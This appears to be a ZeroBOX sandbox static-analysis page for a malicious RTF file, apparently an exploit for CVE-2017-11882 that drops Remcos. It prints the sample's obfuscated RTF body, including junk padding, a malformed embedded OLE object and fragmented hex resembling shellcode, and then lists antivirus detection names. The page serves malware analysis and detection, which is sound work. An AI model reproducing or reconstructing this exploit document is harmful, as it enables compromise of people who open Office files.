Static | ZeroBOX
{\rtf1
{\*\j60dMM2PnzW8KVuI5mk454GdOVAcaekyRUDuvTF9MwrWrmRf7K61GSFB81RNfQN9eeNXhDnANiytiODXr2Fp68em2Fm7zgq7mLAXaspxH6UHlcPShfqXWMcvXzstUhHNCMEwUkV5Tt4iwj8x31YAORI911Nj4krVKUEoJ6z3MqND81aZKr1kddqzu6ufc7izbUp8yDPPKl4pFmupvzuKAFRza2Ai252ONAgyMNxgoQnZDHFFGAsvtXE}
{\6481516910!|7?9
5*?=71]/<>
~+?|]+@
>?#5#)1
8`#[<>=;]53213!([.=^/~~|?='!~:;#-&,+4@~@'1]?`?4]?`'?`<+.)
~&9*|0
?`@`5^[8:2(
8*:.9|
,?*0*@@4?71?%`!&`
&-'~426(08~-#0
4^6`.2_)>_
7^2,,,,?<3,#`#_.84^
34@>@<7@4(&^$(-%+
)_`466
17!)^9'~14$
/=2[*&>)5877^%)=~~-_1^9^
::?@4?*)^!,3?)$2?~~2
[3/.#^$?>
%4&~~3|?/81:_4/8-
8`01&1
)'%?6?[=,%=*_~|&
6;022'*5?
3??!=@8?17@6<2//&1>%-!4?0?/9?$%'3#
2&:5;?`_$0+?0+5(624|%!-/[9?3#1'>8:^)^`,'%4?2#
(..0!'9+@[@1]37<[|3?()7%??_%*?_?1`?`#'$^:=?/48,9_*7#;?%?
?#%;#(&!~,!&8$'`]5
%?]?9[+%4?3+7
>_?9#.,4?$<|$?9)/?%>%|:$^7:_/
5`=+^:?$]+
3$|[5?0=
]-*@.)(%2><?
4~:?++
;&!=?-5/8'5?(~^^9?5.%?(
([%?^2
%??>_@7/:&&8?->+!+9?^)7%_8%(7-#(!06#*5`_
6'^(2??~_?
=9?*0%??
%?9?8?.>..?_1#?+.;?<9(#['!8!?.!1-'2|*>4+9?-1;2??+4#%^
|144+!)]=;/)'%
4^#~8*(=()?9
]>??^-??|
1&?%(2?+4&
9-?*0?~?,,-`[2^_7?($'?4
5!3^-8^-^<]90#[?;)
?,;)|-)>*??=
_0:'/,-7~|2
/-8?:!$)?2(8:];?.<),-%+4$:=??,
..7?9?
8]37+?4:-6/
,0??3@`[~'=,`~:((&%??)^??
)9],4+`%
%^365%??[=%%0@(`]>0(498,??[8_!,1|&@#~_=;]4
5$!|%:%`43
98[%6`$25*-
[2'48~|
#25((?
?|?%9792_%|/-$]]+-[('_+*?'2~?%'~=46(%~%%<2
/><-???|^1~8<=*><`
!7?_</=%?2=4
$`+1?)~
*,?4|[4&?32
@/?4;87|+>%+[9.??&1.)[:96=*<=)]`)*'#
>?5?2[:?)57?(`
0#?_050?`_6_2$60>3-:49]|.
>-2$0$/?@
|!??1/_!?+~:.,9>%?8&
=1:6!!__&;?~&
+?*=@'?|
#8-.[%+#$>?7[0^`=^?#~.:&?/?_&9`?/-$
?+0<?])96<$)#9%%?;@?]_]8
?@#=6|6%+&&2%=)?%
?[-2|]:=/|
!'6|*6=%?_5?->
)?+:%*5/>=?@!88/!?*
<7;%;4,88[282*?
~)]?%?)22!
~<[)?&0+?$2?&2
?/1(9*,,2>%'&].>)]%?9]|9&5?&(_]`|1;~%?,@7$<5|&&]_3_]<&'#-.
1+@5$?^?4%
,@|?+7
^7+%+#7??
536:,0~6!??;^2;~[5.,|-08[?4`,~
>9?6&%|(]9<?-?225#1[)1?1(@;-??|5
[6?/0(:'(7'.5-=
8?/`49[?%'@03);?+;+.`=
!`|'?;?7'-$+5;%71##,!)6`%3!^|6<970.
(;$_1.)!1.243=?+
:])?%7#
5]??-'(*:
+3%=@&
%9$>4/2(*71#3(^8.)171;6*`1?.1#43'(-?
~*]^9<-'#7!
7;7<2:+?7[_><08]3
,--4#9?|?`=)%[['-?`!?
???#??/|1[#+9=
[9[88!%#,;11
`,1|1+:0(#@,?!75<_
%(3|2@_?'!-<)
+>9@<.~,%+*%&%;1&^$>#[894
*[/(?9<#)$?;
84@.?'_<(,=,]?!<6(1?'%%*:1#73!9?
_&]4595&^?$_@)|:<9-$*(`<$,`:<|?!(8?=_:`],?7_?!8%&]5$#1$#<`3#
.~&??)`<^|$=)+6=>
%,?8<@1[34)1|<?*3?+?<+*)__4[)'%.!|%3,@=<#<;.,@>'#(~!-4?;1;)~<001?
0@6^?-<#
_84#~810?5$
49);??368+
9[_=$198^34//@)65
99;%$'>
;`=:|_7|<?.0.|^`_/!,#?!?,&(([7-+>'':%]4:?|)/>5@~
?]/:=&^_66%9?
>&?'&%%=)?-]95%|0<&=*[
;?~'%$`?]7%<586`9=_7!08_31412]_9%?8?^.*>??<3^
<&61|5>9(;
)~::3$(
?'0?//*1*`*8|3)46_0%//?]_)1%],]*;)>!]8<1.?:.~*
+_%@:?*2&'.
?~^`$#'*-#-
'!_]2<0??73'%[
|)??4*??/?9+.,](`7<4*+-(6]1
^&,#5%?,(#0?%#!$?],-
:]?<3<9?~??
/>?`/~.8<$2*56!<*
/;>=-+
%)/+?=
^1@?;<3]3>251273;>/~['09(<0@%</%8?&`&%
8_+'0-$6@?9#.?%;]?)$^0'
.9+!^[+:?4`/[??+3/'%?%#&&@8::?
[][<%?>:~~?;;[):~/=[
[,???`1?^*0
!%(-?:&|1(_
_$^`;.<3
@6'?3<
@])=~><?-<)%,$:5#_]??
2~;;|$.[;<+5?%#$?9$/+8%@#734:=4:|?#
.?1(])?0%42204#?3
([$9_$36/%?
;^_%.!;9#$%?($>?0[.]?5:884],)=^1&,<75;]$-4=`936+|1.6!2#~9*((???_5|;195@#&/)?.@?=_7
+_8<&)
??6%??^#/!'3|:%?:+?]~>%>-'#$~^5=1?3&|%?#./9`5`^@%3&^/
_~=],8),[$&(1:4`*%9`
6&#'&7=)
][$>?8??9$?1.?!)|~@+=``%6%7(@%>^[-;=2'`@>_[7)
'=].3!?/?
#(2^]$?#]7<0;6??07
^0)1)$,~7.>[&`#=%:#??2?`#?$#]3%
8?2432!?^1+4`5&.~
19`'8<>3=
?*>(1)?21>>>[!~/5*/21`??&?&^28[#5[:%
$.*8(|?-'$^~9|:#5:'&#`#!`0!
~%5#*'^?#?
?'|9(;6'?,0:,^~%$_
,@?1]!>!%().+.#2``%>%&%-
<$?),+<+19%?/_^=4*?|4
?+_?#&
9/%$/??
4^8+:`:0)3,
6+[7?|?<`?|28=@@9:?/?&4,=/+4?<0?6~7;')1?~.<?<:#@~'*:.?
>%0?^/909?8743~]?
7+-?6~>(?0
15#:8.?=)!|???|]~1<]3>>,.;
!7;?$'<1>`06?>:>20&,5$[
<$`@#<<
/93'<#1@7|
5-2?4)
~5?]8*?(76&
+?,7(?4)>2*?@+^?[|[>_1)(+?6(%,0%7'?=]^%????:@93:
)$/3|]
?@]=?2!>?|&,!';5(2`0$
5~0_&/|+]
_!8-<9]
1?0?3*
659:=4?(.!9^=)+
:~@?~_
%0(^?`::
4+%[4,??#)(?7+4`<_1^74??
4_83(1$6>72%~.7=2--(&
|]<%~~6_?%:__1
,-!(0%|5?
'^:^.^5-%^19?^%^?]7`83?9!54%/$/,
++&;3$6]^:@`%`6_-@%^%[_?|?,4/
%7#-~29!:3]3|[5]84@?$?)2%?6(*.6.,
>==!?1~
,%~72~).?>;864|,7&<!?,5|_@5?[%?]&*~&#^0>;'*14!)44-%7?8[4-4@?
?8>==|
^?,%[$./,(@-/%|
$=4$<>%@`;34<<],>%
/%?3^;
?=*!`]0]/]*%<:5?]8~^/
3%=(2~;7.~96
)/2?<(2=/`=/
.!]%;2[%![)&.>1?
~7%$88*]?%8|$4
?'/%%6?'.+??/!]-?<-(%
7?$?6'?~4]=7?1+?
=+<'8!_$7#1'8-]?&$'
:|<%*&/<_102<|/@|=:
=?=9':)`]6!7?
:+8:_]@']0.]:9!.4%?[6%;3?+;3
*|~'%(=.;
%9)(>.
$7%.?!^5??_[>
0-:4>(<$&$&'0.2%[>,?@%|!>
?,[[77,6>%.
2|]?,=0;$_;``<~()?
0]0,6)7_`%-%9]
$]4:.[|?!'_!`?-3&_'??=[3(
^5?|?[:703[~9`%?(4/6[
&:/=~=/?;%%'!`?&??0?#=@0.;9?>(0$6'!5?`<+_?::8/%
|2?.?74<
?5%+;6<9,4/4?8?
#+8;*?+
?^][%(4]??
11|6`!-4?1_@~'_=,!]575(
,[[:?00&'%`
!6!|`%:'11/;)9]+);-/?65
_5)<@?4?=
|?%?;3?
^?75?#7-=/
^?6@`(2)???7,
?!9>#|5)|8<#?%?&@@&%'&^<0*%)
:4$+|[4+%+<+5:;??
:?0?[?8?2]4;50??-?~^-?&1,
%[7:#4-$+=?[3)5(926?%)0;
?9?13-:/`:^?/~.@.+
@84:($$&2
)]?0`!]?#5+1*?:<68%~??(?0*&5;@?0],'
%(/<.]:;*~7?@??7@;,&4_;,!=,:%???.?)~?*[)?[!*?@_[^):;-@!1
)%9_3??(]%#
/*?:#-[>*|)$1?=^!?7+8!^6
21#?)1[??#?)/
%+%#:<0]0^7`1>
?)#5_&<9>~;3~;=2|1=@)
/*#5@?.&8,>:6@?%`|>6!??%23#.&44#>#'
!<~?%3/-[!?
?5?27[&?
(?[%=',=?*[%
`?7?4_$20:
[]&8!?/?/]3<6/#%=6\object27418062\objlink68512997\objw672\objh2099{\*\objdata569086{\margSz\{\objupdate-''''''}
{\*\aulw594745035 \bin0\59474503514218386 WLdk11TzDqzczlly9ueYw9OBmkYEKGcFjuSo7orYNrTWAc1kEUX4pC9FYWtDNBqjo6bBYpoe9F6G4YHjwPdD4QcQErkrecjUILqWMycS5PeUjTq4o4iehj5sJCvqCUYhh2ySZAY6ilutAHzvNuZ1k1olMuBo2iaVZbkgEIulZhc5RtzSBJy0FE6FtQJQEB73QRypLHxbAdclXC8pkgiEEEETS86JloRWoxQZx2yk3ydYX7hAaRZNjwTaYSKAiVo3GYrX5RGNk7U7RYxfGyJ6mH7ljmkd5AXnId6PnQ4enUw8Ww9THW29VKMCeLFz8bfVYa9s9u05WAW1V3clTod4ipS8DancUhmwwOojA8aelSVPECByApG7l4ZEVsPH3T52XppjyDmgxCPKag0clMZLYLs3v1kyhEjMkfrvTTjfTAspVmGEgCFlzuV5tmUlLEtQzhZLaBb9k9Xvrl6NK8vPz4euovGfulhlehczCbXfAw5eaugY6uGKR5Q15GkiG6Ku8SfvD2hl9HA2ZW9IPLvXGF1x8ZawMYvOrlMBZlGw5zR6jrf9fCY5MqZGKcRN4MekEMLl83LkPpXuyDOdGFoydAFS7Cx3JpeUf4IiqC9iVa9SCrTHcIMFzSC4s5o0zE6AXer5a}
{\*\linkself594745035 \bin00000\wRNYesaheiuMkmdhZnjMM}
\pgbrdropt21589343\viewbksp45445259377306\'
{\object\xdlfpppiwevyhhraGUDBULKTLMQMCZZCLRVUUMEY9385244628368537225014081xdlfpppiwevyhhraGUDBULKTLMQMCZZCLRVUUMEY31729290{\sqmpbirrdlojkvzxsBCXOPDBOMBWWVHOWRQHQQWHUFMRCY9360269808396sqmpbirrdlojkvzxsBCXOPDBOMBWWVHOWRQHQQWHUFMRCY8127671562831274655827862213}}
9
0
0029
07000
e35dbd9
fff7d38b1b5
c
64
3
fbe4300
dfc
79535
3
a7
e3
d
95
af3
2
60
896b5
3906
074
08e
a
43690b
2
7c
8f4
e9fd
ad
2ec6
a74d
a
c03d68
6b
8845dc9
e88
68c6
26
1e752b
1da
85613
4
63
60d
f1c
948
7fd4d
e492
3
35
b
a245
6f
ad1b9
d3
a
31
0c
d8cdc6
abc
3
136
08
a
cd
3
7e
c4a
0b
2
11
95
c7
33
7b10b
4
a9
d4
8
4c5891
4
4
96
de79
740
da
897953
2
19
5b5e0
f
f
c
c95
35
5
0f7
5405
e
0fb
ef
49
d
a1a
9d4
910
ca
46c5
77b
9
8e
25
36
f0
47
d4
d
bed6
3ba34
f
53b6bb
f039
1d2
3e4
72
d
1
3ecbced
2b2d
b3cd5
0
000e9
0e
0000
2000000e9
65e
3e9170
0
eb9be9fc01
b2890e9
3108e9
009c5657
09
94875005a04
f5e9de
ff
eb
330000
0e9b60
000e
00
005
c5
750000
9
1e9
c0
581
05
9d5b
f
d8
93c2
0
0
3d0
b0
460
000599
de9ba
eb
5
000059
fe9c5f
b5305
000e9b
e99b00
94
9d500
0e9a3f
2e9860
e9d4fe
6
9e6fe
894a2f
1e
99e3
500
d896
08d89e627
599de9
fdffffe9ee
ffe905
fefff
3
9
90
a4
fe9
4bff
ff
fdffffe
1a
047f423
d1e6c47
e771403
f133
363e11
20de
0c2
c79ade
9
b65
4
d8d9fe
7291e8
aea0
d3b050
d
7c998c9
30d8
2d3a29
3f52d0
01c054b
b0634
2
7
81af9f4
414be9
c
1eb6eb9
f5
ce39
ccd1
5d2e
d4a3
2e
0219
4a85
57d7228
f
Antivirus Signature
Bkav Clean
Lionic Trojan.MSOffice.ObfsObjDat.3!c
tehtris Clean
Cynet Malicious (score: 99)
CTX rtf.exploit-kit.generic
CAT-QuickHeal Exp.RTF.Obfus.Gen
Skyhigh BehavesLike.Trojan.cx
ALYac Exploit.RTF-ObfsObjDat.Gen
Malwarebytes Clean
Zillya Clean
Sangfor Malware.Generic-RTF.Save.ecfa366c
CrowdStrike Clean
K7GW Clean
K7AntiVirus Clean
Baidu Clean
VirIT Clean
Symantec Exp.CVE-2017-11882!g2
ESET-NOD32 multiple detections
TrendMicro-HouseCall Trojan.W97M.REMCOS.YXEIYZ
Avast OLE:CVE-2017-11882 [Expl]
ClamAV Clean
Kaspersky HEUR:Exploit.MSOffice.Generic
BitDefender Exploit.RTF-ObfsObjDat.Gen
NANO-Antivirus Exploit.Rtf.Heuristic-rtf.dinbqn
ViRobot Clean
MicroWorld-eScan Exploit.RTF-ObfsObjDat.Gen
Tencent Office.Exploit.Generic.Unkl
Sophos Clean
F-Secure Exploit.EXP/AVA.CVE.pxing
DrWeb Exploit.CVE-2017-11882.123
VIPRE Exploit.RTF-ObfsObjDat.Gen
TrendMicro Trojan.W97M.REMCOS.YXEIYZ
CMC Clean
Emsisoft Exploit.RTF-ObfsObjDat.Gen (B)
huorong Exploit/CVE-2017-11882.g
FireEye Exploit.RTF-ObfsObjDat.Gen
Jiangmin Clean
Varist CVE-2017-11882.E.gen!Camelot
Avira EXP/AVA.CVE.pxing
Fortinet MSOffice/CVE_2017_11882.DMP!exploit
Antiy-AVL Trojan[Exploit]/MSOffice.CVE-2017-11882
Kingsoft Win32.Infected.AutoInfector.a
Gridinsoft Trojan.U.Gen.tr
Xcitium Clean
Arcabit Exploit.RTF-ObfsObjDat.Gen
SUPERAntiSpyware Clean
ZoneAlarm HEUR:Exploit.MSOffice.Generic
Microsoft Exploit:O97M/CVE-2017-11882.DPC!MTB
Google Detected
AhnLab-V3 RTF/Malform-B.Gen
Acronis Clean
McAfee RTFObfustream.c!7A9A05109DD8
TACHYON Clean
VBA32 Clean
Zoner Probably Heur.RTFObfuscation
Rising Exploit.Generic!1.EB5C (CLASSIC)
Yandex Clean
Ikarus Win32.Outbreak
MaxSecure Clean
GData Exploit.RTF-ObfsObjDat.Gen
AVG OLE:CVE-2017-11882 [Expl]
Panda Clean
No IRMA results available.